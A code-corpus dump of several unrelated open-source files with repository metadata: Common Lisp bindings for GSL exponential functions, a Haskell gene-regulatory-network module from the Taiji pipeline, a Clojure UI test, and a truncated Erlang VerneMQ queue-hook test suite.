(in-package :gsl)
;;; /usr/include/gsl/gsl_sf_exp.h
;;;;****************************************************************************
;;;; Exponential Functions
;;;;****************************************************************************
(defmfun gsl-exp (x)
"gsl_sf_exp_e" ((x :double) (ret (:pointer (:struct sf-result))))
"The exponential function.")
(defmfun exp-scaled (x)
"gsl_sf_exp_e10_e" ((x :double) (ret (:pointer (:struct sf-result-e10))))
"The exponential function scaled. This function may be useful if the value
of exp(x) would overflow the numeric range of double.")
(defmfun exp-mult (x y)
"gsl_sf_exp_mult_e"
((x :double) (y :double) (ret (:pointer (:struct sf-result))))
"Exponentiate x and multiply by the factor y to
return the product y \exp(x).")
(defmfun exp-mult-scaled (x y)
"gsl_sf_exp_mult_e10_e"
((x :double) (y :double) (ret (:pointer (:struct sf-result-e10))))
"The product y \exp(x) with extended numeric range.")
;;;;****************************************************************************
;;;; Relative Exponential Functions
;;;;****************************************************************************
(defmfun expm1 (x)
"gsl_sf_expm1_e" ((x :double) (ret (:pointer (:struct sf-result))))
"\exp(x)-1 using an algorithm that is accurate for small x.")
(defmfun exprel (x)
"gsl_sf_exprel_e" ((x :double) (ret (:pointer (:struct sf-result))))
"(\exp(x)-1)/x using an algorithm that is accurate for small x.
For small x the algorithm is based on the expansion
(\exp(x)-1)/x = 1 + x/2 + x^2/(2*3) + x^3/(2*3*4) + ...")
(defmfun exprel-2 (x)
"gsl_sf_exprel_2_e" ((x :double) (ret (:pointer (:struct sf-result))))
"2(\exp(x)-1-x)/x^2 using an algorithm that is accurate for small
x. For small x the algorithm is based on the expansion
2(\exp(x)-1-x)/x^2 = 1 + x/3 + x^2/(3*4) + x^3/(3*4*5) + ...")
(defmfun exprel-n (n x)
"gsl_sf_exprel_n_e"
((n :int) (x :double) (ret (:pointer (:struct sf-result))))
"N-relative exponential, which is the n-th generalization
of the functions #'exprel and #'exprel-2.")
;;;;****************************************************************************
;;;; Exponentiation With Error Estimate
;;;;****************************************************************************
(defmfun exp-err (x dx)
"gsl_sf_exp_err_e"
((x :double) (dx :double) (ret (:pointer (:struct sf-result))))
"Exponentiate x with an associated absolute error dx.")
(defmfun exp-err-scaled (x dx)
"gsl_sf_exp_err_e10_e"
((x :double) (dx :double) (ret (:pointer (:struct sf-result-e10))))
"Exponentiate x with an associated absolute error dx
and with extended numeric range.")
(defmfun exp-mult-err (x dx y dy)
"gsl_sf_exp_mult_err_e"
((x :double) (dx :double) (y :double) (dy :double)
(ret (:pointer (:struct sf-result))))
"The product y \exp(x) for the quantities x, y
with associated absolute errors dx, dy.")
(defmfun exp-mult-err-scaled (x dx y dy)
"gsl_sf_exp_mult_err_e10_e"
((x :double) (dx :double) (y :double) (dy :double)
(ret (:pointer (:struct sf-result-e10))))
"The product y \exp(x) for the quantities x, y
with associated absolute errors dx, dy and with
extended numeric range.")
;;;;****************************************************************************
;;;; Examples and unit test
;;;;****************************************************************************
(save-test exponential-functions
(gsl-exp 3.0d0)
(exp-scaled 2000.0d0)
(exp-mult 101.0d0 5.0d0)
(exp-mult-scaled 555.0d0 101.0d0)
(expm1 0.0001d0)
(exprel 0.0001d0)
(exprel-2 0.001d0)
(exprel-n 3 0.001d0)
(exp-err 3.0d0 0.001d0)
(exp-mult-err 3.0d0 0.001d0 23.0d0 0.001d0))
| null | https://raw.githubusercontent.com/cram2/cram/dcb73031ee944d04215bbff9e98b9e8c210ef6c5/cram_3rdparty/gsll/src/special-functions/exponential-functions.lisp | lisp | Exponential functions
This program is free software: you can redistribute it and/or modify
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
along with this program. If not, see </>.
/usr/include/gsl/gsl_sf_exp.h
****************************************************************************
Exponential Functions
****************************************************************************
****************************************************************************
Relative Exponential Functions
****************************************************************************
****************************************************************************
Exponentiation With Error Estimate
****************************************************************************
****************************************************************************
Examples and unit test
**************************************************************************** | , Tue Mar 21 2006 - 17:05
Time - stamp : < 2011 - 11 - 24 22:56:28EST exponential-functions.lisp >
Copyright 2006 , 2007 , 2008 , 2009 , 2011
Distributed under the terms of the GNU General Public License
it under the terms of the GNU General Public License as published by
the Free Software Foundation , either version 3 of the License , or
You should have received a copy of the GNU General Public License
(in-package :gsl)
(defmfun gsl-exp (x)
"gsl_sf_exp_e" ((x :double) (ret (:pointer (:struct sf-result))))
"The exponential function.")
(defmfun exp-scaled (x)
"gsl_sf_exp_e10_e" ((x :double) (ret (:pointer (:struct sf-result-e10))))
"The exponential function scaled. This function may be useful if the value
of exp(x) would overflow the numeric range of double.")
(defmfun exp-mult (x y)
"gsl_sf_exp_mult_e"
((x :double) (y :double) (ret (:pointer (:struct sf-result))))
"Exponentiate x and multiply by the factor y to
return the product y \exp(x).")
(defmfun exp-mult-scaled (x y)
"gsl_sf_exp_mult_e10_e"
((x :double) (y :double) (ret (:pointer (:struct sf-result-e10))))
"The product y \exp(x) with extended numeric range.")
(defmfun expm1 (x)
"gsl_sf_expm1_e" ((x :double) (ret (:pointer (:struct sf-result))))
"\exp(x)-1 using an algorithm that is accurate for small x.")
(defmfun exprel (x)
"gsl_sf_exprel_e" ((x :double) (ret (:pointer (:struct sf-result))))
"(\exp(x)-1)/x using an algorithm that is accurate for small x.
For small x the algorithm is based on the expansion
(\exp(x)-1)/x = 1 + x/2 + x^2/(2*3) + x^3/(2*3*4) + ...")
(defmfun exprel-2 (x)
"gsl_sf_exprel_2_e" ((x :double) (ret (:pointer (:struct sf-result))))
"2(\exp(x)-1-x)/x^2 using an algorithm that is accurate for small
x. For small x the algorithm is based on the expansion
2(\exp(x)-1-x)/x^2 = 1 + x/3 + x^2/(3*4) + x^3/(3*4*5) + ...")
(defmfun exprel-n (n x)
"gsl_sf_exprel_n_e"
((n :int) (x :double) (ret (:pointer (:struct sf-result))))
"N-relative exponential, which is the n-th generalization
of the functions #'exprel and #'exprel-2.")
(defmfun exp-err (x dx)
"gsl_sf_exp_err_e"
((x :double) (dx :double) (ret (:pointer (:struct sf-result))))
"Exponentiate x with an associated absolute error dx.")
(defmfun exp-err-scaled (x dx)
"gsl_sf_exp_err_e10_e"
((x :double) (dx :double) (ret (:pointer (:struct sf-result-e10))))
"Exponentiate x with an associated absolute error dx
and with extended numeric range.")
(defmfun exp-mult-err (x dx y dy)
"gsl_sf_exp_mult_err_e"
((x :double) (dx :double) (y :double) (dy :double)
(ret (:pointer (:struct sf-result))))
"The product y \exp(x) for the quantities x, y
with associated absolute errors dx, dy.")
(defmfun exp-mult-err-scaled (x dx y dy)
"gsl_sf_exp_mult_err_e10_e"
((x :double) (dx :double) (y :double) (dy :double)
(ret (:pointer (:struct sf-result-e10))))
"The product y \exp(x) for the quantities x, y
with associated absolute errors dx, dy and with
extended numeric range.")
(save-test exponential-functions
(gsl-exp 3.0d0)
(exp-scaled 2000.0d0)
(exp-mult 101.0d0 5.0d0)
(exp-mult-scaled 555.0d0 101.0d0)
(expm1 0.0001d0)
(exprel 0.0001d0)
(exprel-2 0.001d0)
(exprel-n 3 0.001d0)
(exp-err 3.0d0 0.001d0)
(exp-mult-err 3.0d0 0.001d0 23.0d0 0.001d0))
|
3d91d63d8b254e200dd007191a0e3fd769e29113dae6341dff63cc6a1b9a401c | Taiji-pipeline/Taiji | DeNovo.hs | -- | Infer network de novo from data
# LANGUAGE DataKinds #
# LANGUAGE FlexibleContexts #
# LANGUAGE FlexibleInstances #
{-# LANGUAGE OverloadedStrings #-}
# LANGUAGE RecordWildCards #
module Taiji.Core.Network.DeNovo
( saveAssociations
, mkAssociations
, mkNetwork
, readNetwork
, readAssociations
, getTFBS
, outputBindingEdges
, outputCombinedEdges
, outputNodes
) where
import Control.Arrow ((&&&))
import Control.Monad.State.Strict
import Bio.Data.Bed hiding (NarrowPeak)
import Bio.Data.Bed (NarrowPeak)
import Data.Conduit.Internal (zipSinks)
import qualified Data.IntervalMap.Strict as IM
import qualified Data.Set as S
import qualified Data.ByteString.Char8 as B
import Data.CaseInsensitive (mk)
import qualified Data.HashMap.Strict as M
import qualified Data.Text as T
import IGraph
import Taiji.Utils
import Taiji.Core.RegulatoryElement
import Taiji.Prelude
-- | Construct and save nodes and edges.
saveAssociations :: ( ATACSeq S (File '[Gzip] 'Bed)
, Either (File '[] 'NarrowPeak) (File '[Gzip] 'NarrowPeak)
, Maybe (File '[ChromosomeLoop] 'Bed)
^ ( TFBS , promoter activity , HiC loops , Expression )
-> ReaderT TaijiConfig IO
(ATACSeq S (File '[] 'Other, File '[] 'Other))
saveAssociations (tfFl, peakFl, hicFl, expr) = do
dir <- asks
((<> "/Network/" <> asDir (T.unpack grp)) . _taiji_output_dir)
>>= getPath
anno <- fromJust <$> asks _taiji_annotation
let netEdges = dir ++ "/edges_combined.csv"
netNodes = dir ++ "/nodes.csv"
bindingEdges = dir ++ "/edges_binding.csv"
liftIO $ do
openSites <- case peakFl of
Left fl -> readBed $ fl ^.location
Right fl -> runResourceT $ runConduit $
streamBedGzip (fl^.location) .| sinkList
expr' <- (fmap . fmap) (\(a,b) -> (sqrt a, exp b)) $ case expr of
Nothing -> return M.empty
Just e -> readExpression 1 (B.pack $ T.unpack grp ) $ e^.location
tfbs <- runResourceT $ runConduit $
streamBedGzip (tfFl^.replicates._2.files.location) .|
getTFBS (mkPeakMap openSites)
promoters <- findActivePromoters openSites <$> readPromoters anno
let proc = loops .| findTargets tfbs promoters .|
mkAssociations expr' .|
zipSinks (outputCombinedEdges netEdges)
(outputBindingEdges bindingEdges)
loops = case hicFl of
Nothing -> return ()
Just fl -> read3DContact $ fl^.location
runResourceT (execStateT (runConduit proc) S.empty) >>=
outputNodes netNodes
return $ tfFl & replicates.mapped.files .~
( emptyFile & location .~ netNodes
, emptyFile & location .~ netEdges )
where
grp = tfFl^.groupName._Just
# INLINE saveAssociations #
getTFBS :: Monad m
=> BEDTree PeakAffinity -- ^ Potential regulatory regions and its affinity scores
-> ConduitT BED o m (BEDTree [SiteInfo])
getTFBS peaks = concatMapC f .| sinkList >>=
return . (fmap . fmap) nub' . bedToTree (++)
where
f site = case IM.elems (within peaks site) of
[] -> Nothing
xs -> Just $ (bed, [SiteInfo (getTFName site) siteSc (maximum xs)])
where
bed = asBed (site^.chrom) (site^.chromStart) (site^.chromEnd) :: BED3
siteSc = toSiteAffinity (fromJust $ site^.score)
getTFName x = mk $ head $ B.split '+' $ x^.name._Just
nub' = M.elems . M.fromListWith (\a b -> if g a > g b then a else b) .
map (\x -> (_tf_name x, x))
where
g = getSiteAffinity . _site_affinity
-- | Construct nodes and edges.
mkAssociations :: Monad m
=> M.HashMap GeneName (Double, Double) -- ^ edge weight and node weight
-> ConduitT (GeneName, ([TFBS], [TFBS]))
NetEdge
(StateT (S.Set NetNode) m) ()
mkAssociations expr = concatMapMC $ \(geneName, (ps, es)) -> do
let edgeEnhancer = mkEdges geneName "enhancer" es
edgePromoter = mkEdges geneName "promoter" ps
(geneExpr, scaledGeneExpr) = M.lookupDefault (0.1, 1) geneName expr
geneNode = NetNode { _node_name = geneName
, _node_weight = scaledGeneExpr
, _node_expression = Just geneExpr }
modify' $ S.insert geneNode
edgeCombined <- forM (groupEdgeByTF $ edgeEnhancer ++ edgePromoter) $ \xs -> do
let (tfExpr, scaledTfExpr) = M.lookupDefault (0.1, 1) tfName expr
tfNode = NetNode { _node_name = tfName
, _node_weight = scaledTfExpr
, _node_expression = Just tfExpr }
tfName = _edge_from $ head xs
wCombined = lp 2 $ map (_edge_binding_affinity . _edge_type) xs
modify' $ S.insert tfNode
return $ NetEdge { _edge_from = tfName
, _edge_to = geneName
, _edge_type = Combined (wCombined * tfExpr) }
return $ edgePromoter ++ edgeEnhancer ++ edgeCombined
where
mkEdges geneName anno = filter
((>=edge_weight_cutoff) . _edge_binding_affinity . _edge_type) .
map siteToEdge
where
siteToEdge site = NetEdge
{ _edge_from = _tf_name $ site^._data
, _edge_to = geneName
, _edge_type = Binding
{ _edge_binding_locus = convert site
, _edge_binding_annotation = anno
, _edge_binding_affinity = getEdgeWeight site } }
groupEdgeByTF = groupBy ((==) `on` _edge_from) . sortBy (comparing _edge_from)
getEdgeWeight x = sqrt $ siteSc * peakSc
where
siteSc = getSiteAffinity $ _site_affinity $ x^._data
peakSc = getPeakAffinity $ _peak_affinity $ x^._data
# INLINE mkAssociations #
mkNetwork :: Monad m
=> M.HashMap GeneName (Double, Double) -- ^ Edge weight and node weight
-> ConduitT (GeneName, ([TFBS], [TFBS])) o m (Graph 'D NetNode Double)
mkNetwork expr = fmap fromLabeledEdges $ concatMapC mkEdges .| sinkList
where
mkEdges (geneName, (ps, es)) = flip map tfGroup $ \tfs ->
let (edgeW, tfWeight) = M.lookupDefault (0.1, 1) tfName expr
tfNode = NetNode { _node_name = tfName
, _node_weight = tfWeight
, _node_expression = Just edgeW }
tfName = fst $ head tfs
wCombined = lp 2 $ map snd tfs
in ((geneNode, tfNode), wCombined * edgeW )
where
(geneExpr, geneWeight) = M.lookupDefault (0.1, 1) geneName expr
geneNode = NetNode { _node_name = geneName
, _node_weight = geneWeight
, _node_expression = Just geneExpr }
tfGroup = groupBy ((==) `on` fst) $ sortBy (comparing fst) $
filter ((>=edge_weight_cutoff) . snd) $ map f $ ps ++ es
where
f site = (_tf_name $ site^._data, getEdgeWeight site)
getEdgeWeight x = sqrt $ siteSc * peakSc
where
siteSc = getSiteAffinity $ _site_affinity $ x^._data
peakSc = getPeakAffinity $ _peak_affinity $ x^._data
# INLINE mkNetwork #
--------------------------------------------------------------------------------
IO related functions
--------------------------------------------------------------------------------
-- | Save the edge information to files.
outputBindingEdges :: MonadResource m
=> FilePath -> ConduitT NetEdge Void m ()
outputBindingEdges output = filterC isBinding .|
(yield header >> mapC edgeToLine) .| unlinesAsciiC .| sinkFile output
where
header = ":START_ID,:END_ID,chr,start:int,end:int," <>
"annotation,affinity,:TYPE"
isBinding e = case _edge_type e of
Binding{} -> True
_ -> False
# INLINE outputBindingEdges #
-- | Save the edge information to files.
outputCombinedEdges :: MonadResource m
=> FilePath -> ConduitT NetEdge Void m ()
outputCombinedEdges output = filterC isCombined .|
(yield header >> mapC edgeToLine) .| unlinesAsciiC .| sinkFile output
where
header = ":START_ID,:END_ID,weight,:TYPE"
isCombined e = case _edge_type e of
Combined _ -> True
_ -> False
# INLINE outputCombinedEdges #
-- | Save the node information to a file.
outputNodes :: FilePath -> S.Set NetNode -> IO ()
outputNodes fl = B.writeFile fl . B.unlines . (nodeHeader:) .
map nodeToLine . S.toList
where
nodeHeader = "geneName:ID,expression,expressionZScore"
# INLINE outputNodes #
-- | Build the network from files containing the information of nodes and edges.
readNetwork :: FilePath -- ^ nodes
-> FilePath -- ^ edges
-> IO (Graph 'D NetNode Double)
readNetwork nodeFl edgeFl = do
nodeMap <- M.fromList . map ((_node_name &&& id) . nodeFromLine) .
tail . B.lines <$> B.readFile nodeFl
runResourceT $ fromLabeledEdges' edgeFl (toEdge nodeMap)
where
toEdge nodeMap fl = sourceFileBS fl .| linesUnboundedAsciiC .|
(dropC 1 >> mapC f)
where
f l = case B.split ',' l of
[f1,f2,f3,_] ->
( ( M.lookupDefault undefined (mk f2) nodeMap
, M.lookupDefault undefined (mk f1) nodeMap )
, readDouble f3 )
_ -> error $ "Unexpected line: " <> show l
# INLINE readNetwork #
-- | Read network files as nodes and edges
readAssociations :: FilePath -- ^ nodes
-> FilePath -- ^ edges
-> IO ([NetNode], [((GeneName, GeneName), Double)])
readAssociations nodeFl edgeFl = do
nds <- map nodeFromLine . tail . B.lines <$> B.readFile nodeFl
es <- map f . tail . B.lines <$> B.readFile edgeFl
return (nds, es)
where
f l = ( ( mk f2, mk f1), readDouble f3 )
where
[f1,f2,f3,_] = B.split ',' l
# INLINE readAssociations #
| Construct peak map from narrowpeaks .
mkPeakMap :: [NarrowPeak] -> BEDTree PeakAffinity
mkPeakMap = bedToTree max . map f
where
f x = ( asBed (x^.chrom) (center - 50) (center + 50) :: BED3
, toPeakAffinity $ fromMaybe 5 $ x^.npPvalue )
where
center = case x^.npPeak of
Nothing -> (x^.chromStart + x^.chromEnd) `div` 2
Just c -> x^.chromStart + c
# INLINE mkPeakMap # | null | https://raw.githubusercontent.com/Taiji-pipeline/Taiji/02696ee7c7676a708e98765a9f10b3a33c528f91/src/Taiji/Core/Network/DeNovo.hs | haskell | | Infer network de novo from data
# LANGUAGE OverloadedStrings #
| Construct and save nodes and edges.
^ Potential regulatory regions and its affinity scores
| Construct nodes and edges.
^ edge weight and node weight
^ Edge weight and node weight
------------------------------------------------------------------------------
------------------------------------------------------------------------------
| Save the edge information to files.
| Save the edge information to files.
| Save the node information to a file.
| Build the network from files containing the information of nodes and edges.
^ nodes
^ edges
| Read network files as nodes and edges
^ nodes
^ edges | # LANGUAGE DataKinds #
# LANGUAGE FlexibleContexts #
# LANGUAGE FlexibleInstances #
# LANGUAGE RecordWildCards #
module Taiji.Core.Network.DeNovo
( saveAssociations
, mkAssociations
, mkNetwork
, readNetwork
, readAssociations
, getTFBS
, outputBindingEdges
, outputCombinedEdges
, outputNodes
) where
import Control.Arrow ((&&&))
import Control.Monad.State.Strict
import Bio.Data.Bed hiding (NarrowPeak)
import Bio.Data.Bed (NarrowPeak)
import Data.Conduit.Internal (zipSinks)
import qualified Data.IntervalMap.Strict as IM
import qualified Data.Set as S
import qualified Data.ByteString.Char8 as B
import Data.CaseInsensitive (mk)
import qualified Data.HashMap.Strict as M
import qualified Data.Text as T
import IGraph
import Taiji.Utils
import Taiji.Core.RegulatoryElement
import Taiji.Prelude
saveAssociations :: ( ATACSeq S (File '[Gzip] 'Bed)
, Either (File '[] 'NarrowPeak) (File '[Gzip] 'NarrowPeak)
, Maybe (File '[ChromosomeLoop] 'Bed)
^ ( TFBS , promoter activity , HiC loops , Expression )
-> ReaderT TaijiConfig IO
(ATACSeq S (File '[] 'Other, File '[] 'Other))
saveAssociations (tfFl, peakFl, hicFl, expr) = do
dir <- asks
((<> "/Network/" <> asDir (T.unpack grp)) . _taiji_output_dir)
>>= getPath
anno <- fromJust <$> asks _taiji_annotation
let netEdges = dir ++ "/edges_combined.csv"
netNodes = dir ++ "/nodes.csv"
bindingEdges = dir ++ "/edges_binding.csv"
liftIO $ do
openSites <- case peakFl of
Left fl -> readBed $ fl ^.location
Right fl -> runResourceT $ runConduit $
streamBedGzip (fl^.location) .| sinkList
expr' <- (fmap . fmap) (\(a,b) -> (sqrt a, exp b)) $ case expr of
Nothing -> return M.empty
Just e -> readExpression 1 (B.pack $ T.unpack grp ) $ e^.location
tfbs <- runResourceT $ runConduit $
streamBedGzip (tfFl^.replicates._2.files.location) .|
getTFBS (mkPeakMap openSites)
promoters <- findActivePromoters openSites <$> readPromoters anno
let proc = loops .| findTargets tfbs promoters .|
mkAssociations expr' .|
zipSinks (outputCombinedEdges netEdges)
(outputBindingEdges bindingEdges)
loops = case hicFl of
Nothing -> return ()
Just fl -> read3DContact $ fl^.location
runResourceT (execStateT (runConduit proc) S.empty) >>=
outputNodes netNodes
return $ tfFl & replicates.mapped.files .~
( emptyFile & location .~ netNodes
, emptyFile & location .~ netEdges )
where
grp = tfFl^.groupName._Just
# INLINE saveAssociations #
getTFBS :: Monad m
-> ConduitT BED o m (BEDTree [SiteInfo])
getTFBS peaks = concatMapC f .| sinkList >>=
return . (fmap . fmap) nub' . bedToTree (++)
where
f site = case IM.elems (within peaks site) of
[] -> Nothing
xs -> Just $ (bed, [SiteInfo (getTFName site) siteSc (maximum xs)])
where
bed = asBed (site^.chrom) (site^.chromStart) (site^.chromEnd) :: BED3
siteSc = toSiteAffinity (fromJust $ site^.score)
getTFName x = mk $ head $ B.split '+' $ x^.name._Just
nub' = M.elems . M.fromListWith (\a b -> if g a > g b then a else b) .
map (\x -> (_tf_name x, x))
where
g = getSiteAffinity . _site_affinity
mkAssociations :: Monad m
-> ConduitT (GeneName, ([TFBS], [TFBS]))
NetEdge
(StateT (S.Set NetNode) m) ()
mkAssociations expr = concatMapMC $ \(geneName, (ps, es)) -> do
let edgeEnhancer = mkEdges geneName "enhancer" es
edgePromoter = mkEdges geneName "promoter" ps
(geneExpr, scaledGeneExpr) = M.lookupDefault (0.1, 1) geneName expr
geneNode = NetNode { _node_name = geneName
, _node_weight = scaledGeneExpr
, _node_expression = Just geneExpr }
modify' $ S.insert geneNode
edgeCombined <- forM (groupEdgeByTF $ edgeEnhancer ++ edgePromoter) $ \xs -> do
let (tfExpr, scaledTfExpr) = M.lookupDefault (0.1, 1) tfName expr
tfNode = NetNode { _node_name = tfName
, _node_weight = scaledTfExpr
, _node_expression = Just tfExpr }
tfName = _edge_from $ head xs
wCombined = lp 2 $ map (_edge_binding_affinity . _edge_type) xs
modify' $ S.insert tfNode
return $ NetEdge { _edge_from = tfName
, _edge_to = geneName
, _edge_type = Combined (wCombined * tfExpr) }
return $ edgePromoter ++ edgeEnhancer ++ edgeCombined
where
mkEdges geneName anno = filter
((>=edge_weight_cutoff) . _edge_binding_affinity . _edge_type) .
map siteToEdge
where
siteToEdge site = NetEdge
{ _edge_from = _tf_name $ site^._data
, _edge_to = geneName
, _edge_type = Binding
{ _edge_binding_locus = convert site
, _edge_binding_annotation = anno
, _edge_binding_affinity = getEdgeWeight site } }
groupEdgeByTF = groupBy ((==) `on` _edge_from) . sortBy (comparing _edge_from)
getEdgeWeight x = sqrt $ siteSc * peakSc
where
siteSc = getSiteAffinity $ _site_affinity $ x^._data
peakSc = getPeakAffinity $ _peak_affinity $ x^._data
# INLINE mkAssociations #
mkNetwork :: Monad m
-> ConduitT (GeneName, ([TFBS], [TFBS])) o m (Graph 'D NetNode Double)
mkNetwork expr = fmap fromLabeledEdges $ concatMapC mkEdges .| sinkList
where
mkEdges (geneName, (ps, es)) = flip map tfGroup $ \tfs ->
let (edgeW, tfWeight) = M.lookupDefault (0.1, 1) tfName expr
tfNode = NetNode { _node_name = tfName
, _node_weight = tfWeight
, _node_expression = Just edgeW }
tfName = fst $ head tfs
wCombined = lp 2 $ map snd tfs
in ((geneNode, tfNode), wCombined * edgeW )
where
(geneExpr, geneWeight) = M.lookupDefault (0.1, 1) geneName expr
geneNode = NetNode { _node_name = geneName
, _node_weight = geneWeight
, _node_expression = Just geneExpr }
tfGroup = groupBy ((==) `on` fst) $ sortBy (comparing fst) $
filter ((>=edge_weight_cutoff) . snd) $ map f $ ps ++ es
where
f site = (_tf_name $ site^._data, getEdgeWeight site)
getEdgeWeight x = sqrt $ siteSc * peakSc
where
siteSc = getSiteAffinity $ _site_affinity $ x^._data
peakSc = getPeakAffinity $ _peak_affinity $ x^._data
# INLINE mkNetwork #
IO related functions
outputBindingEdges :: MonadResource m
=> FilePath -> ConduitT NetEdge Void m ()
outputBindingEdges output = filterC isBinding .|
(yield header >> mapC edgeToLine) .| unlinesAsciiC .| sinkFile output
where
header = ":START_ID,:END_ID,chr,start:int,end:int," <>
"annotation,affinity,:TYPE"
isBinding e = case _edge_type e of
Binding{} -> True
_ -> False
# INLINE outputBindingEdges #
outputCombinedEdges :: MonadResource m
=> FilePath -> ConduitT NetEdge Void m ()
outputCombinedEdges output = filterC isCombined .|
(yield header >> mapC edgeToLine) .| unlinesAsciiC .| sinkFile output
where
header = ":START_ID,:END_ID,weight,:TYPE"
isCombined e = case _edge_type e of
Combined _ -> True
_ -> False
# INLINE outputCombinedEdges #
outputNodes :: FilePath -> S.Set NetNode -> IO ()
outputNodes fl = B.writeFile fl . B.unlines . (nodeHeader:) .
map nodeToLine . S.toList
where
nodeHeader = "geneName:ID,expression,expressionZScore"
# INLINE outputNodes #
-> IO (Graph 'D NetNode Double)
readNetwork nodeFl edgeFl = do
nodeMap <- M.fromList . map ((_node_name &&& id) . nodeFromLine) .
tail . B.lines <$> B.readFile nodeFl
runResourceT $ fromLabeledEdges' edgeFl (toEdge nodeMap)
where
toEdge nodeMap fl = sourceFileBS fl .| linesUnboundedAsciiC .|
(dropC 1 >> mapC f)
where
f l = case B.split ',' l of
[f1,f2,f3,_] ->
( ( M.lookupDefault undefined (mk f2) nodeMap
, M.lookupDefault undefined (mk f1) nodeMap )
, readDouble f3 )
_ -> error $ "Unexpected line: " <> show l
# INLINE readNetwork #
-> IO ([NetNode], [((GeneName, GeneName), Double)])
readAssociations nodeFl edgeFl = do
nds <- map nodeFromLine . tail . B.lines <$> B.readFile nodeFl
es <- map f . tail . B.lines <$> B.readFile edgeFl
return (nds, es)
where
f l = ( ( mk f2, mk f1), readDouble f3 )
where
[f1,f2,f3,_] = B.split ',' l
# INLINE readAssociations #
| Construct peak map from narrowpeaks .
mkPeakMap :: [NarrowPeak] -> BEDTree PeakAffinity
mkPeakMap = bedToTree max . map f
where
f x = ( asBed (x^.chrom) (center - 50) (center + 50) :: BED3
, toPeakAffinity $ fromMaybe 5 $ x^.npPvalue )
where
center = case x^.npPeak of
Nothing -> (x^.chromStart + x^.chromEnd) `div` 2
Just c -> x^.chromStart + c
# INLINE mkPeakMap # |
d8a85173a2b760ac651172d1b069d4e3ef4858f1f67f043adb849530907982f9 | dryewo/cyrus | ui_test.clj | (ns {{namespace}}.ui-test
(:require [clojure.test :refer :all]
[{{namespace}}.test-utils :as tu]
[mount.lite :as m]
[clj-http.client :as http]
[{{namespace}}.http]))
(use-fixtures
:each (fn [f]
(tu/start-with-env-override '{HTTP_PORT 8080
UI_ALLOW_ANON true}
#'{{namespace}}.http/server)
(f)
(m/stop)))
(deftest test-ui
(let [{:keys [status body]} (http/get ":8080/ui")]
(is (= 200 status))
(is (re-seq #"Hello, World!" body))))
| null | https://raw.githubusercontent.com/dryewo/cyrus/880c842e0baa11887854ec3d912c044a2a500449/resources/leiningen/new/cyrus/test/_namespace_/ui_test.clj | clojure | (ns {{namespace}}.ui-test
(:require [clojure.test :refer :all]
[{{namespace}}.test-utils :as tu]
[mount.lite :as m]
[clj-http.client :as http]
[{{namespace}}.http]))
(use-fixtures
:each (fn [f]
(tu/start-with-env-override '{HTTP_PORT 8080
UI_ALLOW_ANON true}
#'{{namespace}}.http/server)
(f)
(m/stop)))
(deftest test-ui
(let [{:keys [status body]} (http/get ":8080/ui")]
(is (= 200 status))
(is (re-seq #"Hello, World!" body))))
| |
fa0d5facbff6e0c42f0039942b9dd4fa69ae090d8eb92c85f8dc220bb9a6caa4 | erlio/vmq_server | vmq_queue_hooks_SUITE.erl | -module(vmq_queue_hooks_SUITE).
-export([
%% suite/0,
init_per_suite/1,
end_per_suite/1,
init_per_testcase/2,
end_per_testcase/2,
all/0
]).
-export([queue_hooks_lifecycle_test1/1,
queue_hooks_lifecycle_test2/1,
queue_hooks_lifecycle_test3/1]).
-export([hook_auth_on_subscribe/3,
hook_auth_on_publish/6,
hook_on_client_gone/1,
hook_on_client_offline/1,
hook_on_client_wakeup/1,
hook_on_offline_message/1]).
%% ===================================================================
%% common_test callbacks
%% ===================================================================
init_per_suite(_Config) ->
cover:start(),
_Config.
end_per_suite(_Config) ->
_Config.
init_per_testcase(_Case, Config) ->
vmq_test_utils:setup(),
vmq_server_cmd:set_config(allow_anonymous, true),
vmq_server_cmd:set_config(retry_interval, 10),
vmq_server_cmd:listener_start(1888, []),
ets:new(?MODULE, [public, named_table]),
enable_on_publish(),
enable_on_subscribe(),
enable_queue_hooks(),
Config.
end_per_testcase(_, Config) ->
disable_queue_hooks(),
disable_on_subscribe(),
disable_on_publish(),
vmq_test_utils:teardown(),
ets:delete(?MODULE),
Config.
all() ->
[queue_hooks_lifecycle_test1,
queue_hooks_lifecycle_test2,
queue_hooks_lifecycle_test3].
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%% Actual Tests
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
queue_hooks_lifecycle_test1(_) ->
Connect = packet:gen_connect("queue-client", [{keepalive, 60}]),
Connack = packet:gen_connack(0),
{ok, Socket} = packet:do_client_connect(Connect, Connack, []),
ok = hook_called(on_client_wakeup),
gen_tcp:close(Socket),
ok = hook_called(on_client_gone).
queue_hooks_lifecycle_test2(_) ->
Connect = packet:gen_connect("queue-client", [{keepalive, 60}, {clean_session, false}]),
Connack = packet:gen_connack(0),
{ok, Socket} = packet:do_client_connect(Connect, Connack, []),
ok = hook_called(on_client_wakeup),
gen_tcp:close(Socket),
ok = hook_called(on_client_offline).
queue_hooks_lifecycle_test3(_) ->
Connect = packet:gen_connect("queue-client", [{keepalive, 60}, {clean_session, false}]),
Connack = packet:gen_connack(0),
Subscribe = packet:gen_subscribe(3265, "queue/hook/test", 1),
Suback = packet:gen_suback(3265, 1),
{ok, Socket} = packet:do_client_connect(Connect, Connack, []),
ok = hook_called(on_client_wakeup),
gen_tcp:send(Socket, Subscribe),
ok = packet:expect_packet(Socket, "suback", Suback),
gen_tcp:close(Socket),
ok = hook_called(on_client_offline),
%% publish an offline message
Connect1 = packet:gen_connect("queue-pub-client", [{keepalive, 60}]),
Connack1 = packet:gen_connack(0),
{ok, Socket1} = packet:do_client_connect(Connect1, Connack1, []),
Publish = packet:gen_publish("queue/hook/test", 1, <<"message">>, [{mid, 19}]),
Puback = packet:gen_puback(19),
gen_tcp:send(Socket1, Publish),
ok = packet:expect_packet(Socket1, "puback", Puback),
gen_tcp:close(Socket1),
ok = hook_called(on_offline_message).
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%% Hooks (as explicit as possible)
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
hook_called(Hook) ->
case ets:lookup(?MODULE, Hook) of
[] ->
timer:sleep(50),
